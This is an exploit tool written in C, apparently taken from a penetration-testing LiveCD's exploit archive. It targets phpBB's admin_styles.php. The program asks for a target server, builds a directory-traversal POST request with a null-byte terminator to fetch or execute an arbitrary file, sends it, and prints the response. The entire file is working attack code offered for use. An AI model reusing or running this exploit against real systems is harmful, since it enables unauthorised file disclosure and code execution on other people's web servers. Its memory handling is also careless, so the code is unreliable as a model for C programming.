home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / phpbb / phpbbexp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  181 lines

  1. #include <stdio.h>
  2. #include <sys/types.h>
  3. #include <sys/socket.h>
  4. #include <netinet/in.h>
  5. #include <netdb.h>
  6.  
  7. int main()
  8. {
  9.     //The socket stuff
  10.     struct hostent *hp;
  11.     struct sockaddr_in sa;
  12.     int sock;
  13.  
  14.     //The input stuff
  15.     char server[100];
  16.     char location[100];
  17.     char sfile[100];
  18.     int escapes;
  19.     char* file;
  20.  
  21.     //The request stuff
  22.     char* request;
  23.     char* postdata;
  24.     char* header;
  25.  
  26.     //The buffer to store the response
  27.     char buffer[4096];
  28.     int tworeturns = 0;
  29.     int showing = 0;
  30.  
  31.     //Other
  32.     int i;
  33.  
  34.     //Ask the server
  35.     printf("Server: ");
  36.     scanf("%100s", server);
  37.     printf("Forum location: ");
  38.     scanf("%100s", location);
  39.     printf("Directories to escape: ");
  40.     scanf("%i", &escapes);
  41.     printf("File to get/execute: ");
  42.     scanf("%100s", sfile);
  43.  
  44.  
  45.     //Start the exploit!
  46.     printf("\n\nStarting the exploit...\n");
  47.  
  48.     //Connect to the server
  49.     printf("Creating socket... ");
  50.     if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  51.     {
  52.         printf("Failed!\n");
  53.         return 0;
  54.     } else{
  55.         printf("Done!\n");
  56.     }
  57.  
  58.  
  59.     printf("Looking up server IP... ");
  60.     if((hp = gethostbyname((char*)server)) == NULL)
  61.     {
  62.         printf("Failed!\n");
  63.         return 0;
  64.     } else {
  65.         printf("Done!\n");
  66.     }
  67.  
  68.  
  69.     printf("Connecting %s:80... ", server);
  70.     memcpy(&sa.sin_addr, hp->h_addr_list[0], hp->h_length);
  71.     sa.sin_family = AF_INET;
  72.     sa.sin_port = htons(80);
  73.     if(connect(sock, (struct sockaddr*)&sa, sizeof(sa)))
  74.     {
  75.         printf("Failed!\n");
  76.         return 0;
  77.     } else {
  78.         printf("Done!\n");
  79.     }
  80.  
  81.  
  82.     //Create the request
  83.     printf("Building request... ");
  84.  
  85.     //Create the postdata
  86.     file = (char*)malloc(sizeof(char) * (escapes * 3 +
  87. strlen(sfile) + 1));
  88.  
  89.     while(escapes > 0)
  90.     {
  91.         if(escapes == 1)
  92.         {
  93.             sprintf(file, "%s%s%s", file, "..", sfile);
  94.         } else {
  95.             sprintf(file, "%s%s", file, "../");
  96.         }
  97.  
  98.         escapes --;
  99.     }
  100.  
  101.     postdata = (char*)malloc((27 + strlen(file)) *
  102. sizeof(char));
  103.     sprintf(postdata, "send_file= &install_to=%s%s00",
  104. file, "%");
  105.  
  106.     header = (char*)malloc((170 + strlen(server) +
  107. strlen(location)) * sizeof(char));
  108.     sprintf(header, "POST
  109. /%s/admin/admin_styles.php?mode=addnew
  110. HTTP/1.1\r\nContent-Type:
  111. application/x-www-form-urlencoded\r\nHost:
  112. %s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n",
  113. location, server, strlen(postdata));
  114.  
  115.     request = (char*)malloc((strlen(postdata) +
  116. strlen(header) + 1) * sizeof(char));
  117.     sprintf(request, "%s%s", header, postdata);
  118.  
  119.     printf("Done!\n");
  120.  
  121.  
  122.     //Send the request
  123.     printf("Sending request... ");
  124.     write(sock, request, strlen(request));
  125.     printf("Done!\n");
  126.  
  127.     printf("\nResponse:\n");
  128.     //Get the response
  129.     while(recv(sock, buffer, 4096, 0) != 0)
  130.     {
  131.         for(i = 0; i < strlen(buffer); i++)
  132.         {
  133.             //Only show the character when it should
  134.             if(showing == 1)
  135.             {
  136.                 printf("%c", buffer[ i ]);
  137.             }
  138.  
  139.  
  140.             //Stop showing from \n<br>\n
  141.             if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
  142. buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
  143. buffer[i + 4] == '>' && buffer[i + 5] == '\n' &&
  144. showing == 1)
  145.             {
  146.                 showing = 0;
  147.                 tworeturns = 0;
  148.             }
  149.             //Or from \n<br />\n
  150.             if(buffer[ i ] == '\n' && buffer[i + 1] == '<' &&
  151. buffer[i + 2] == 'b' && buffer[i + 3] == 'r' &&
  152. buffer[i + 4] == ' ' && buffer[i + 5] == '/' &&
  153. buffer[i + 6] == '>' && buffer[i + 7] == '\n' &&
  154. showing == 1)
  155.             {
  156.                 showing = 0;
  157.                 tworeturns = 0;
  158.             }
  159.  
  160.             //If there's a return and tworeturns = true, start
  161. showing it
  162.             if(buffer[ i ] == '\n' && tworeturns == 1)
  163.             {
  164.                 showing = 1;
  165.             }
  166.  
  167.             //If there are two returns, set tworeturns to true
  168. and add 3 to i
  169.             if(buffer[ i ] == '\r' && buffer[i + 1] == '\n' &&
  170. buffer[i + 2] == '\r' && buffer[i + 3] == '\n')
  171.             {
  172.                 tworeturns = 1;
  173.                 i += 3;
  174.             }
  175.         }
  176.     }
  177.     printf("\n");
  178.  
  179.     return 0;
  180. }
  181.